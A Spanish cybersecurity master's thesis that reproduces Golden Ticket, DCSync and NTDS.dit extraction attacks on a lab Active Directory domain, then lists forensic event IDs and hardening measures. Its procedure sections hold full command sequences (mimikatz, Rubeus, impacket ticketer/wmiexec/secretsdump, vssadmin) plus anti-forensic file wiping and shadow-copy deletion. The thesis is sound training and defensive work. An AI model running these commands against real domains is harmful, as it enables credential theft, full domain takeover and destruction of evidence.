Autores: Rodrigo Rojas & Jeymmy Llocclla

Director del máster: Román Ramírez Giménez

Tutor/a: Tomás Isasia Infante

Programa: DigitechFP Máster en Ciberseguridad

ÍNDICE

1.RESUMEN

El presente Trabajo Fin de Máster tiene como objetivo principal el estudio, análisis y ejecución de técnicas avanzadas de ataque dirigidas a entornos Active Directory, en particular aquellas relacionadas con el control y la escalada de privilegios dentro de una infraestructura de red basada en Windows. Se ha llevado a cabo una extensa investigación sobre tres métodos reconocidos por su eficacia y potencial destructivo: el ataque Golden Ticket, el ataque DCSync y la extracción del archivo NTDS.dit.

Para este TFM se ha pensado y desplegado un entorno de laboratorio controlado que reproduce una infraestructura corporativa, compuesto por un controlador de dominio, una estación de trabajo víctima y una máquina atacante. Este entorno ha permitido desarrollar cada ataque en condiciones lo más realistas posibles y registrando paso a paso su ejecución, herramientas utilizadas, y el impacto generado en el sistema comprometido.

El ataque Golden Ticket demuestra cómo un atacante con acceso al hash de la cuenta krbtgt puede generar tickets de autenticación Kerberos válidos sin interacción con el controlador de dominio, obteniendo acceso persistente e indetectable a recursos críticos. Por otro lado, el ataque DCSync revela cómo es posible replicar objetos del dominio, incluyendo credenciales, mediante el uso de privilegios elevados, simulando el comportamiento de un controlador de dominio legítimo. Finalmente, la extracción de NTDS.dit permite al atacante hacerse con la base de datos completa de cuentas del dominio, lo que representa una exfiltración crítica de la información más sensible.

A lo largo del trabajo se detallan las herramientas empleadas, como Rubeus, Mimikatz o impacket, así como los procedimientos y consideraciones de cada fase del ataque. De igual forma, se discute el uso de la práctica de estas técnicas desde la perspectiva de un Red Team, destacando su utilidad en auditorías de seguridad ofensiva.

Para este trabajo se busca demostrar la posibilidad de ataques y ofrecer un recurso formativo extenso y estructurado, orientado a entender las amenazas y a la concienciación sobre la

importancia de implementar medidas preventivas y defensivas adecuadas en los sistemas corporativos.

2. INTRODUCCIÓN

Este Trabajo de Fin de Máster se enmarca en un escenario de simulación realista de amenazas informáticas orientadas específicamente a entornos Active Directory. A través de un enfoque técnico, comprensible y alineado con prácticas reales del mundo profesional, se analizan y reproducen ataques avanzados como **Golden Ticket**, **DCSync** y la **extracción del archivo NTDS.dit**. Estos ataques suponen vectores críticos que, en manos de un adversario con conocimientos avanzados, pueden derivar en la **comprometida total del dominio**.

La elección de esta temática no es casual. En un contexto donde la sofisticación de los ciberataques ha escalado de forma exponencial, resulta imprescindible formar perfiles capaces de entender no solo cómo defender, sino cómo **atacan los sistemas por dentro**. En esta línea, el enfoque Red Team adoptado en este TFM no solo reproduce ataques de alto impacto, sino que también permite extraer aprendizajes clave en materia de **detección, endurecimiento del sistema y mitigación proactiva**.

El trabajo se apoya en un laboratorio controlado que simula una infraestructura empresarial típica: un **Domain Controller**, una **máquina Windows víctima** y una **estación de ataque basada en Kali Linux**. A partir de este entorno, se documentan con rigor las fases de intrusión, escalada de privilegios y persistencia, incluyendo los comandos reales utilizados, el razonamiento detrás de cada paso y los riesgos implicados.

Este TFM no se limita a ser una guía técnica. Pretende fomentar una **reflexión crítica** sobre las debilidades estructurales aún presentes en muchos entornos corporativos, y subraya la necesidad urgente de formar profesionales capaces de anticipar, detectar y neutralizar ataques antes de que se materialicen.

3. OBJETIVOS E HIPÓTESIS

Este TFM tiene como finalidad abordar las amenazas más críticas que afectan a las infraestructuras basadas en Active Directory. Para ello, se definen los siguientes objetivos específicos:

3.1. Objetivos:

Estudiar en profundidad el funcionamiento del protocolo Kerberos y su integración en Active Directory, como base para comprender las técnicas de ataque avanzadas que lo explotan.

Reproducir en un entorno de laboratorio controlado los ataques Golden Ticket, DCSync y la extracción de NTDS.dit, documentando minuciosamente cada paso, herramienta y resultado.

Analizar la viabilidad, el impacto y la utilidad práctica de cada técnica ofensiva, contextualizándola dentro de un ejercicio de Red Team profesional.

Evaluar las posibles medidas defensivas y recomendaciones de mitigación frente a cada ataque, desde una óptica técnica y organizativa.

Desarrollar un recurso formativo de referencia que pudiera servir de base para futuros profesionales o estudiantes que deseen comprender y practicar estas técnicas de forma ética y responsable.

La consecución de estos objetivos permitirá no solo demostrar un dominio práctico sobre herramientas clave del arsenal ofensivo, sino también generar un análisis crítico sobre la postura de seguridad de los sistemas Active Directory y la necesidad de adoptar un enfoque completo de protección.

3.2. Hipótesis:

Se parte de la hipótesis de que, en entornos corporativos donde un atacante logra acceso inicial con privilegios limitados, es posible escalar privilegios hasta comprometer completamente el dominio mediante la combinación de técnicas como la obtención de hashes, la explotación de configuraciones inseguras y el uso de herramientas especializadas. En particular, se plantea que los ataques *Golden Ticket* y *DCSync*, a pesar de su complejidad técnica, pueden ser ejecutados con éxito en entornos realistas que carecen de mecanismos avanzados de protección y monitorización.

Esta hipótesis será contrastada a través de la ejecución controlada de cada ataque en un entorno de laboratorio, lo que permitirá evaluar de forma empírica su viabilidad, las condiciones necesarias para llevarlos a cabo y su impacto sobre la seguridad de la infraestructura comprometida.

4. MARCO TEÓRICO

El presente apartado establece los fundamentos conceptuales y técnicos necesarios para comprender los ataques tratados en este trabajo. Se abordan los elementos esenciales del entorno Active Directory, el protocolo Kerberos, los mecanismos de autenticación, así como los conceptos y herramientas fundamentales de Red Team.

4.1. Active Directory y su arquitectura

Active Directory (AD) es una tecnología de Microsoft que permite gestionar identidades digitales, recursos, políticas de seguridad y autenticaciones dentro de una red. Se estructura jerárquicamente mediante dominios, árboles y bosques, permitiendo una administración centralizada. El componente principal de AD es el Domain Controller (DC), que actúa como repositorio y autoridad sobre los objetos del dominio (usuarios, equipos, grupos, políticas, etc.).

AD almacena su base de datos en un archivo llamado ntds.dit, que contiene información crítica como contraseñas cifradas de los usuarios. Esta base de datos, junto con el registro SYSTEM,

permite descifrar las credenciales, convirtiéndose en uno de los objetivos más valiosos para un atacante.

4.2. Protocolo Kerberos

Kerberos es el protocolo de autenticación por defecto en los entornos AD. Funciona mediante un sistema de tickets y claves simétricas, asegurando que tanto el cliente como el servidor puedan verificar su identidad sin transmitir contraseñas en texto claro. El proceso comienza con la obtención del Ticket Granting Ticket (TGT) a través de la autenticación con el controlador de dominio. Posteriormente, el cliente solicita un Ticket Granting Service (TGS) para acceder a recursos específicos dentro del dominio.

El centro de distribución de claves (KDC), parte del controlador de dominio, es responsable de emitir estos tickets. Este sistema, aunque robusto en diseño, presenta puntos débiles que pueden ser aprovechados si un atacante obtiene ciertos secretos, como el hash de la cuenta krbtgt.

4.3. Mecanismos de autenticación en AD

El proceso de autenticación en AD se basa en Kerberos, pero también pueden intervenir otros mecanismos como NTLM. La autenticación Kerberos tiene ventajas claras en seguridad, pero si las configuraciones no son óptimas (por ejemplo, delegaciones inseguras o falta de auditoría), puede ser explotada con relativa facilidad. Este es el caso de técnicas como Golden Ticket o Pass-the-Ticket.

4.4. El archivo NTDS.dit

El archivo ntds.dit almacena toda la base de datos de Active Directory, incluyendo usuarios, grupos, contraseñas hasheadas (NTLM/LM) y la estructura del dominio. Al estar bloqueado por el sistema en ejecución, su extracción requiere técnicas como Volume Shadow Copy o exploits como DCSync. Combinado con la clave del registro SYSTEM, un atacante puede descifrar las credenciales offline para crear tickets Kerberos falsos (Golden Ticket), replicar el dominio (DCSync) o mover lateralmente con Pass-the-Hash, comprometiendo todo el entorno AD sin necesidad de persistir en la red.

4.5. Herramientas utilizadas en Red Team

Este trabajo se apoya en herramientas avanzadas de uso habitual en auditorías ofensivas:

- Mimikatz: permite extraer hashes, credenciales en texto claro, realizar ataques Pass-the-Hash, Pass-the-Ticket y DCSync, entre otros.

- Rubeus: especializado en manipulación de tickets Kerberos (TGT, TGS, PAC), solicitud y ejecución de ataques de tipo Kerberoasting y Golden Ticket.

- Impacket: colección de scripts para ejecución remota, manipulación de SMB, WMI, RPC y Kerberos. Contiene herramientas como wmiexec.py, secretsdump.py y ticketer.py.

- smbclient: herramienta de línea de comandos incluida en las suites Samba e Impacket que permite conectarse a recursos compartidos SMB (Server Message Block) de sistemas Windows. Funciona de manera similar a un cliente FTP, permitiendo explorar directorios, subir y descargar archivos, y ejecutar acciones básicas sobre el sistema de archivos remoto. Muy esencial.

- wmiexec: herramienta de la suite **Impacket** que permite ejecutar comandos de forma remota en sistemas Windows utilizando **WMI (Windows Management Instrumentation)**, un protocolo nativo que Microsoft incluye para administración remota. Muy útil post-explotación.

Estas herramientas no solo permiten ejecutar los ataques descritos, sino que también facilitan la comprensión de los mecanismos internos que los hacen posibles.

4.6. Relevancia en auditorías de seguridad

Las técnicas descritas son ampliamente utilizadas en ejercicios de Red Teaming para simular atacantes reales y evaluar la resiliencia de los sistemas. Comprender su funcionamiento no solo ayuda a detectar fallos en las configuraciones actuales, sino también a diseñar medidas proactivas que refuercen la postura de seguridad general de una organización.

5. DESARROLLO DEL TRABAJO

5.1. Preparación del entorno de laboratorio

Para llevar a cabo las pruebas y ataques descritos en este trabajo, se ha configurado un entorno de laboratorio virtualizado que simula una red corporativa con todos los componentes esenciales de una infraestructura basada en Active Directory. Este entorno se ha desplegado en una estación de trabajo física mediante VirtualBox, lo que permite gestionar varias máquinas virtuales a la vez.

La topología del laboratorio está compuesta por tres elementos principales:

- Controlador de Dominio (DC): Máquina virtual con sistema operativo Windows Server 2019, configurada como Domain Controller bajo el dominio ficticio tfm.local. Esta máquina actúa como autoridad central de autenticación y contiene la base de datos NTDS.dit.

- Máquina Víctima: Estación de trabajo virtual con Windows 10 Pro, unida al dominio tfm.local. Simula el equipo de un usuario legítimo dentro de la red, desde donde se inician algunos ataques (Rubeus y mimikatz) y se comprueba el acceso a recursos del dominio.

- Máquina Atacante: Kali Linux, equipada con herramientas ofensivas como impacket, mimikatz, wmiexec, smbclient, entre otras. Esta máquina emula a un atacante externo o interno con acceso al DC.

Configuración del entorno

Instalación del hypervisor:

1. Creación del dominio:

- Instalación de Windows Server 2019 en la VM destinada al controlador de dominio.
- Configuración del servicio Active Directory Domain Services (AD DS).
- Promoción a Domain Controller y creación del dominio tfm.local.
- Establecimiento de políticas básicas de seguridad y creación de cuentas de usuario (Administrador, empleado, hackerman).

2. Preparación de la máquina Windows 10:

- Instalación de Windows 10 Pro.
- Unión al dominio tfm.local.
- Creación de un usuario local (TFM-Victima) sin privilegios para simular un acceso inicial limitado.

3. Despliegue de Kali Linux:

- Instalación de Kali Linux con herramientas preinstaladas.
- Configuración de red compatible con el dominio.
- Instalación y actualización de herramientas ofensivas necesarias: impacket, smbclient, evil-winrm, wmiexec, psexec, entre otras.

4. Comprobación de la conectividad:

- Se verificó que todas las máquinas pudieran comunicarse mediante ping y resolución de nombres dentro del dominio.
- Se establecieron carpetas compartidas, políticas mínimas de acceso, y sincronización horaria entre equipos, requisito esencial para el funcionamiento de Kerberos.
- Este entorno permitió simular con fidelidad los vectores de ataque y validar los resultados en condiciones muy similares a las que podrían encontrarse en una empresa real, pero sin poner en riesgo ningún sistema productivo.

5.2. Ataque Golden Ticket

El ataque Golden Ticket implica la creación de un ticket de autenticación dorado falso que concede privilegios de administrador de dominio en el entorno de Active Directory. Para lograr esto, el atacante necesita obtener el hash de la contraseña del usuario del objeto de dominio del controlador de dominio. (krbtgt) Una vez que el atacante tiene el hash de la contraseña, puede utilizar herramientas como Mimikatz para generar un ticket de autenticación dorado falso. Este ticket de autenticación dorado tiene una duración prolongada, por lo que el atacante puede utilizarlo de manera persistente para acceder a recursos protegidos y realizar actividades maliciosas en el entorno de Active Directory.

5.2.1. Fundamento técnico:

El ataque Golden Ticket se basa en el funcionamiento interno del protocolo Kerberos, específicamente en el proceso de emisión y validación de los Ticket Granting Ticket (TGT). Cuando un usuario legítimo solicita acceso a un recurso dentro del dominio, el controlador de dominio emite un TGT firmado con la clave secreta de la cuenta krbtgt. Esta clave es compartida únicamente por todos los Domain Controllers de un dominio determinado.

Un atacante que logra obtener el hash NTLM de la cuenta krbtgt puede generar TGTs válidos sin necesidad de comunicarse con el KDC (Key Distribution Center). Estos tickets falsificados son aceptados por los controladores de dominio como si fueran legítimos, dado que están firmados con la misma clave que utiliza el DC para validar los TGTs reales. Este abuso permite la creación de tickets con cualquier identidad y cualquier grupo de privilegios, incluyendo Domain Admins.

El ticket generado puede tener una validez arbitraria (días, semanas o años) y pasar desapercibido si no se monitorea adecuadamente la actividad del sistema. La persistencia, flexibilidad y el sigilo del ataque lo convierten en una amenaza crítica para cualquier entorno que utilice Kerberos sin control de integridad y rotación frecuente de la clave krbtgt.

5.2.2. Requisitos del ataque:

Para llevar a cabo un Golden Ticket es necesario cumplir con las siguientes condiciones:

- Haber obtenido previamente el hash NTLM de la cuenta krbtgt del dominio.
- Conocer el SID del dominio.
- Conocer el nombre del dominio y del usuario que se va a suplantar (real o inventado).

5.2.3. Procedimiento seguido:

1. **Obtención del hash krbtgt:**

Una vez inyectado el TGT para el Administrador que es el usuario que pertenece a todos los grupos de Domain Controller, procedemos a utilizar mimikatz y ejecutamos el ataque DCSync para obtener el hash del krbtgt **lsadump::dcsync /user:krbtgt /domain:tfm.local**

2. **Recuperación del SID del dominio:**

Se empleó la herramienta lookupsid.py de impacket desde Kali Linux para identificar el SID completo del dominio tfm.local.

```
sudo python3 lookupsid.py 'tfm.local/Administrador:Password123!'
```

3. **Generación del Golden Ticket:**

Con el hash krbtgt, el SID y la información del dominio, se utilizó la herramienta ticketer.py de impacket para generar un ticket TGT falsificado con privilegios de administrador. Ejemplo:

```
ticketer.py -nthash <> -domain-sid <> -domain <tfm.local> -user-id <> -groups <> hackerman
```

Este ticket fue guardado con extensión .ccache o exportado como archivo .kirbi si se usaba desde Windows con Rubeus.

4. **Inyección del ticket:**

En la máquina Windows víctima (iniciada con usuario del dominio sin privilegios), se empleó Rubeus para inyectar el ticket TGT en la sesión actual:

```
Rubeus.exe ptt /ticket:ticket.kirbi
```

Tras la inyección, se validó la existencia del ticket con Rubeus.exe triage.

5. **Validación del ataque:**

Para confirmar el éxito del ataque, se accedió desde la máquina Windows víctima a recursos compartidos en el Domain Controller, como la unidad C$, utilizando el **DIR \\DC-**

Server.tfm.local\c$ El acceso fue concedido sin que el sistema solicitara credenciales adicionales, validando que el ticket Golden Ticket proporcionaba permisos elevados sin autenticación estándar.

Además, se utilizó smbclient desde Kali con la opción -k (Kerberos) para validar que el ticket

```
impacket-smbclient -k -no-pass tfm.local/hackerman@DC-Server.tfm.local -dc-ip <192.168.56.40>
```

5.2.4. Reflexión técnica:

Aunque el ataque Golden Ticket es una técnica extremadamente potente, su utilidad real depende del contexto. A diferencia del uso legítimo de TGT y TGS, el Golden Ticket no requiere interacción con el KDC, lo que permite a un atacante mantener el acceso indefinidamente si no se reinicia la clave krbtgt. No obstante, este tipo de ticket es más fácilmente detectable mediante sistemas de monitorización avanzados y puede generar anomalías en los registros si no se ajustan adecuadamente los parámetros.

Este ataque demuestra cómo un compromiso en el núcleo de la arquitectura Kerberos puede desembocar en un control total del dominio por parte de un atacante, justificando la necesidad de proteger fuertemente la cuenta krbtgt, rotando su clave periódicamente y aplicando políticas de defensa.

5.3 Ataque DCSync

El ataque DCSync es una técnica avanzada de explotación de Active Directory que permite extraer información crítica del archivo NTDS.dit sin necesidad de autenticación directa.

Aprovecha los mecanismos legítimos de replicación entre controladores de dominio, simulando ser un DC legítimo para solicitar y recibir datos sensibles como hashes de contraseñas (NTLM/Kerberos), tickets TGT y la estructura completa del dominio.

A diferencia de métodos tradicionales que requieren acceso físico o compromiso previo del sistema, DCSync opera abusando de privilegios de replicación (como los del grupo "Domain Admins" o cuentas con derechos de replicación concedidos), lo que permite a un atacante con credenciales limitadas escalar privilegios hasta comprometer todo el dominio. Herramientas como Mimikatz o Impacket secretsdump.py automatizan este proceso, facilitando su explotación en entornos con configuraciones inseguras.

5.3.1. Fundamento técnico:

En entornos Active Directory, los controladores de dominio (DCs) utilizan el protocolo **DRSUAPI (Directory Replication Service Remote Protocol)** para sincronizar datos entre sí y garantizar la coherencia del directorio. Este mecanismo legítimo de replicación es explotado por herramientas como Mimikatz mediante el comando lsadump::dcsync, que simula ser un DC legítimo para solicitar y extraer información sensible de cuentas específicas.

Al abusar de este protocolo, un atacante puede obtener:

- Hashes NTLM/LM de contraseñas de usuarios
- Claves Kerberos (como los krbtgt)
- Atributos privilegiados sin generar registros de autenticación tradicionales

El ataque requiere privilegios de replicación (ej: pertenecer al grupo **"Domain Admins"** o tener derechos **"Replicating Directory Changes"**), pero su ejecución es silenciosa y difícil de detectar sin monitorización específica de solicitudes DRSUAPI anómalas.

5.3.2. Requisitos del ataque:

El atacante debe poseer permisos de replicación del dominio. Esto significa que debe formar parte de uno de los siguientes grupos:

- Domain Admins
- Enterprise Admins
- Administrators del dominio
- Acceso desde una máquina que pueda comunicarse con el Domain Controller.

5.3.3. Procedimiento seguido:

1. **Preparación del entorno:**

Se creó un nuevo usuario en el dominio llamado hackerman y se le asignó el grupo de Usuarios de dominio para comprobar su acceso al Domain Admins mediante los ataques.

2. **Acceso a la máquina Windows víctima:**

Desde esta máquina, iniciada con el usuario de dominio hackerman, se inyectaron los tickets Kerberos del usuario Administrador utilizando Rubeus, asegurando así una sesión con permisos elevados sin necesidad de iniciar sesión directamente como ese usuario.

3. **Ejecución del ataque con mimikatz:**

Se utilizó mimikatz para lanzar el ataque DCSync desde la consola PowerShell:

```
mimikatz # privilege::debug
```

```
mimikatz # lsadump::dcsync /domain:tfm.local /user:krbtgt
```

Como resultado, se obtuvo el hash NTLM de la cuenta krbtgt, el cual es clave para otros ataques como Pass-the-Hash o Golden Ticket.

4. **Validación y análisis:**

La obtención de los hashes permitió confirmar el éxito del ataque y su peligrosidad, dado que a partir de esa información es posible generar tickets válidos o crackear contraseñas offline. Cabe destacar que este ataque no requiere acceso físico al controlador de dominio, sino únicamente los privilegios adecuados y conectividad de red.

5.3.4. Reflexión técnica:

El ataque DCSync enseña una debilidad crítica en la arquitectura de replicación de Active Directory, en la que cualquier entidad con los permisos adecuados puede solicitar los secretos más sensibles del dominio. Esto justifica la necesidad de minimizar el número de cuentas privilegiadas, monitorizar cuidadosamente el uso del protocolo DRSR y aplicar medidas de segmentación de red y autenticación reforzada.

5.4 Extracción de NTDS.dit

La base de datos NTDS.dit es uno de los archivos más críticos de un controlador de dominio de Active Directory, ya que contiene todos los objetos del dominio, incluidas las credenciales de usuario en forma de hashes. Su extracción permite a un atacante realizar ataques offline para crackear contraseñas, suplantar identidades o escalar privilegios.

5.4.1. Fundamento técnico:

El archivo **ntds.dit** (ubicado en C:\Windows\NTDS) está bloqueado por el sistema en ejecución. Para extraerlo, se utilizan **instantáneas de volumen (Shadow Copies)**, creando una copia en caliente. Combinando este archivo con la clave de cifrado almacenada en el **registro SYSTEM**, es posible descifrar offline los hashes de contraseñas y datos críticos de Active Directory.

5.4.2. Requisitos para la extracción del NTDS.dit

La extracción del archivo NTDS.dit requiere un conjunto específico de condiciones técnicas y de acceso, fundamentales para el éxito del ataque:

1. Privilegios de Ejecución

- Credenciales administrativas en el Domain Controller (miembro de *Domain Admins*, *Enterprise Admins* o equivalente).
- Capacidad de ejecución remota (ej: via WinRM, WMI, RPC o RDP).

2. Acceso al Sistema de Archivos del DC

- Permisos para leer directorios críticos:

- C:\Windows\NTDS\ (ubicación del NTDS.dit).
- C:\Windows\System32\config\ (claves de cifrado del registro).

3. Creación de Shadow Copies

- Herramientas para generar copias en caliente del volumen (ej: vssadmin, diskshadow, o módulos de frameworks como Impacket).
- Permisos para ejecutar operaciones de Volume Shadow Copy Service (VSS).

4. Herramientas de Exfiltración

- Métodos para transferir archivos al atacante:
  - Ejecución remota (*wmiexec.py*, *evil-winrm*).
  - Protocolos de red accesibles (SMB, HTTP, FTP).

5. Conectividad de Red

- Resolución DNS/IP del Domain Controller.
- Acceso a puertos críticos (ej: 445/SMB, 5985/WinRM, 135/RPC).

6. Configuración de Servicios (Opcional)

- Si se usa WinRM:
  - Servicio habilitado y accesible.
  - Autenticación Kerberos/NTLM funcional.

5.4.3. Procedimiento seguido:

1. Conexión remota al DC:

Desde la máquina Kali Linux, se estableció una sesión remota con wmiexec.py haciendo uso de tickets Kerberos previamente inyectados:

```
impacket-wmiexec -k -no-pass tfm.local/hackerman@DC-Server.tfm.local -dc-ip 192.168.56.40 -codec utf-8
```

2. Creación de la Shadow Copy:

En la consola obtenida, se ejecutó el siguiente comando para crear una copia del volumen del sistema:

```
vssadmin create shadow /for=C:
```

3. Copiado de los archivos necesarios:

Se copiaron tanto ntds.dit como el archivo SYSTEM desde la Shadow Copy hacia un directorio temporal:

```
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\NTDS\ntds.dit C:\temp\
```

```
copy
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\System32\con
fig\SYSTEM" C:\temp\
```

4. Descarga de los archivos:

Finalmente, se utilizó smbclient desde Kali para conectarse al DC con Kerberos y descargar los archivos al sistema local:

```
impacket-smbclient -k -no-pass tfm.local/hackerman@DC-
Server.tfm.local -dc-ip 192.168.56.40
```

5. Análisis posterior:

Una vez obtenidos los archivos, se puede utilizar la herramienta secretsdump.py de impacket para extraer los hashes:

```
secretsdump.py -system SYSTEM -ntds ntds.dit -outputfile hashes.txt
LOCAL
```

Esto permite disponer de los hashes de todos los usuarios del dominio para posteriores ataques como Pass-the-Hash o crackeo con Hashcat.

5.4.4. Reflexión técnica

La extracción del archivo **NTDS.dit** constituye uno de los vectores de ataque más críticos contra **Active Directory**, ya que proporciona acceso completo a:

- Hashes de contraseñas (NTLM, LM) de todos los usuarios.
- Estructura del dominio (relaciones de confianza, grupos privilegiados).
- Claves de cifrado Kerberos (krbtgt), permitiendo ataques como *Golden Ticket*

5.5. Aspectos Técnicos Complementarios

5.5.1 Lecciones Clave para la Defensa

1. Protección del DC:
   - Restringir **acceso administrativo** (mínimos privilegios).
   - Deshabilitar **protocolos innecesarios** (SMB, WinRM) en DCs.
2. Monitorización proactiva:
   - Alertar sobre **creación de Shadow Copies** (Event ID 7036).
   - Bloquer herramientas como **vssadmin** en DCs (AppLocker/WDAC).
3. Segmentación de red:
   - Aislar DCs de estaciones de trabajo y servidores no críticos.
   - Implementar **microsegmentación** para limitar movimientos laterales.

5.5.2 Herramientas utilizadas

Durante la ejecución del TFM se han empleado una serie de herramientas especializadas que forman parte del conjunto habitual de utilidades utilizadas en ejercicios de Red Team y auditorías de seguridad ofensiva. A continuación, se detallan las herramientas más relevantes:

- Mimikatz:

Herramienta de post-explotación que permite la manipulación de credenciales en sistemas Windows.

- Funciones utilizadas:

Extracción de hashes mediante lsadump::dcsync.

Inyección y gestión de tickets Kerberos.Obtención de credenciales en texto claro (no usado en este TFM, pero relevante conceptualmente).

Uso: Fundamental para realizar el ataque DCSync y comprobar privilegios en las sesiones activas.

- Rubeus:

Herramienta en C# orientada a la manipulación avanzada de tickets Kerberos.

- Funciones utilizadas:

Solicitud de TGT y TGS.

Inyección de tickets (ptt).

Enumeración de tickets (triage).

Uso: Empleada en la máquina Windows víctima para manejar los tickets sin necesidad de iniciar sesión con credenciales válidas.

- Impacket:

Conjunto de scripts en Python que permiten interactuar con protocolos de red de Windows.

- Módulos utilizados:

secretsdump.py: extracción de hashes desde NTDS.dit.

ticketer.py: generación de Golden Tickets.

wmiexec.py: ejecución remota de comandos usando WMI.

lookupsid.py: obtención del SID del dominio.

smbclient.py: conexión remota al DC para descarga de archivos.

Uso: Principalmente desde Kali Linux para generar tickets, ejecutar comandos remotos y extraer credenciales.

- VSSAdmin:

Herramienta nativa de Windows para gestionar copias sombra.

Uso: Creación de instantáneas del volumen C: del DC para extraer NTDS.dit sin interferir con el sistema en ejecución.

Estas herramientas han sido seleccionadas por su capacidad de simular comportamientos reales de atacantes y por su fiabilidad en entornos de laboratorio. La combinación de todas ellas permitió ejecutar los ataques de forma controlada, documentada y reproducible.

5.5.3 Flujo de ataques en Kali y Windows.

A continuación, se resume el flujo completo de ataques tal y como se realizó en el entorno de laboratorio, dividido entre acciones desde Windows y Kali Linux:

Comandos ejecutados en Kali Linux:

1. Conversión opcional de TGT a formato .ccache:

```
nano ticket.b64 cat ticket.b64 | base64 -d > ticket_tgt_admin.kirbi
impacket-ticketerConverter                    ticket_tgt_admin.kirbi
ticket_tgt_admin.cache
```

2. Activación del TGT en entorno Linux:

```
export KRB5CCNAME=ticket_tgt_admin.cache
```

3. Generación del Golden Ticket con ticketer.py:

```
python3 ticketer.py -nthash -domain-sid -domain tfm.local -user-id
1111 -groups 512 hackerman
```

4. Activación del Golden Ticket:

```
export KRB5CCNAME=hackerman.ccache klist
```

5. Conexión remota al DC como hackerman (SYSTEM):

```
impacket-wmiexec    -k    -no-pass    tfm.local/hackerman@DC-
Server.tfm.local -codec utf-8 -dc-ip 192.168.56.40
```

6. Descarga de archivos desde DC vía SMBclient:

```
impacket-smbclient -k -no-pass tfm.local/hackerman@DC-Server.tfm.local -dc-ip 192.168.56.40 get ntds.dit get SYSTEM
```

7. Extracción offline de hashes:

```
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
```

8. Eliminación sigilosa de archivos desde PowerShell:

```
Set-Content -Path C:\Windows\Temp\Robame\ntds.dit -Value ('X' * 100000) Set-Content -Path C:\Windows\Temp\Robame\SYSTEM -Value ('X' * 100000) Remove-Item -Path C:\Windows\Temp\Robame\ntds.dit Remove-Item -Path C:\Windows\Temp\Robame\SYSTEM
```

9. Eliminación de Shadow Copies:

```
vssadmin delete shadows /for=C: /quiet
```

Acciones desde Windows:

1. Solicitar TGT real del Administrador:

```
Rubeus.exe asktgt /user:Administrador /password:Password123! /nowrap /ptt
```

2. Ataque DCSync para obtener el hash de krbtgt:

```
mimikatz # lsadump::dcsync /domain:tfm.local /user:krbtgt
```

3. Creación del Golden ticket:

```
kerberos::golden /user:hackerman /rc4:<> /id:<> /sid:<> /groups:<> /domain:<> /ticket.gold.kirbi
```

4. Inyección del Golden ticket: `kerberos::ptt gold.kirbi`

6. Análisis Forense Post-Explotación en Active Directory

Se observaron múltiples eventos generados en el controlador de dominio que podrían ser utilizados por herramientas de detección como SIEM o EDR para identificar actividades maliciosas.

Este apartado tiene como objetivo revisar y explicar las evidencias forenses generadas durante la ejecución de los ataques avanzados contra Active Directory realizados en el entorno de laboratorio. Se analiza desde la perspectiva de un analista Blue Team, en este caso representado por Rodrigo, quien actúa como responsable de detectar e interpretar los rastros dejados por un atacante inexperto que ejecutó todas las fases del ataque desde una máquina unida al dominio: la Windows Víctima.

Lejos de limitarse a la parte ofensiva, este análisis busca aportar una mirada crítica y realista sobre los eventos que pueden ser aprovechados para detectar intrusiones incluso sin soluciones SIEM o EDR avanzadas.

6.1 Contexto del ataque

El atacante, desde la máquina Windows Víctima, realizó los siguientes pasos en secuencia:

1. Inyectó un Ticket Granting Ticket (TGT) del usuario Administrador usando Rubeus.
2. Solicitó TGS para servicios CIFS y LDAP.
3. Ejecutó un ataque DCSync con mimikatz.
4. Generó e inyectó un Golden Ticket para el usuario hackerman.
5. Utilizó PsExec para moverse lateralmente y acceder al DC.
6. Añadió a hackerman al grupo Domain Admins como persistencia.

6.2. Eventos clave y su análisis

#	Evento ID	Acción que lo genera	Explicación
1	**5379**	Inyección del TGT del usuario Administrador	Aquí vemos cómo se accedieron credenciales directamente desde la caché LSA. Esto ocurre al inyectar un ticket Kerberos en memoria con herramientas como mimikatz o Rubeus.
2	**4769**	Solicitud de TGS (ej. CIFS o LDAP) con ese TGT	Este evento indica que el atacante está intentando acceder a servicios del dominio usando tickets. Aquí se accede a CIFS o LDAP con un TGS legítimo pero obtenido de forma maliciosa.
3	4662	Ataque DCSync con lsadump::dcsync	Este evento es crítico: se ha accedido a objetos del Directorio Activo con privilegios de replicación. Esto corresponde exactamente al ataque DCSync.

4	4624	Movimiento lateral con PsExec al DC (inicio de sesión)	Aquí el atacante utiliza PsExec para moverse lateralmente. Vemos un inicio de sesión tipo 3 desde una IP externa, lo que delata el acceso remoto al DC.
5	4672	Se asignan privilegios especiales al iniciar sesión	Este evento nos confirma que el usuario tiene privilegios de alto nivel, como SeDebugPrivilege. Es típico cuando se inicia sesión como un Domain Admin.
6	4728	Añadir a hackerman al grupo Domain Admins	Aquí vemos el intento de persistencia. El atacante ha añadido a hackerman al grupo Domain Admins. Esto garantiza acceso total incluso después de reinicios o contramedidas.

7. Medidas de Mitigación y Hardening Proactivo para Active Directory

Estrategias defensivas validadas contra ataques avanzados (Golden Ticket, DCSync, NTDS.dit), alineadas con frameworks como MITRE ATT&CK y CIS Benchmarks.

7.1 Neutralización del Golden Ticket

1. Rotación de claves krbtgt

- Doble rotación (2 veces) si hay indicios de compromiso.

- Automatizar el proceso con scripts o herramientas como **Microsoft KRBTGT Rotation Script**.

2. Hardening de Kerberos

- Habilitar **"Always provide claims"** y **"ValidateKDC PACSignatures"** (Windows Server 2016+).

- Reducir la vida máxima de los TGT (MaxTicketAge en GPOs).

3. Detección avanzada

- Alertar en SIEM/EDR sobre:
  - Tickets con **duración > 10 horas** (Event ID 4769).
  - Autenticaciones Kerberos **sin PAC** (indicador de tickets falsos).

7.2 Mitigación del ataque DCSync

1. Control de privilegios

- Eliminar derechos **"Replicating Directory Changes"** para cuentas no-DC.
- Auditar membresías en **Domain Admins** semanalmente (Event ID 4728).

2. Monitorización proactiva

Configurar alertas para:

- Accesos a **"CN=NTDS Settings"** (Event ID 4662).
- Intentos de replicación desde IPs no-DC (Microsoft Defender for Identity).

3. Segmentación crítica

Bloquear **RPC (135/TCP)** y **DRSUAPI (dynamic ports)** desde estaciones de trabajo.

7.3 Mitigación de la extracción de NTDS.dit

1. Restricción de herramientas

- Deshabilitar **vssadmin** y **diskshadow** via AppLocker
- Limitar PowerShell con **Constrained Language Mode**.

2. Monitorización de VSS

- Alertar sobre:
  - Creación de **Shadow Copies** (Event ID 7036).
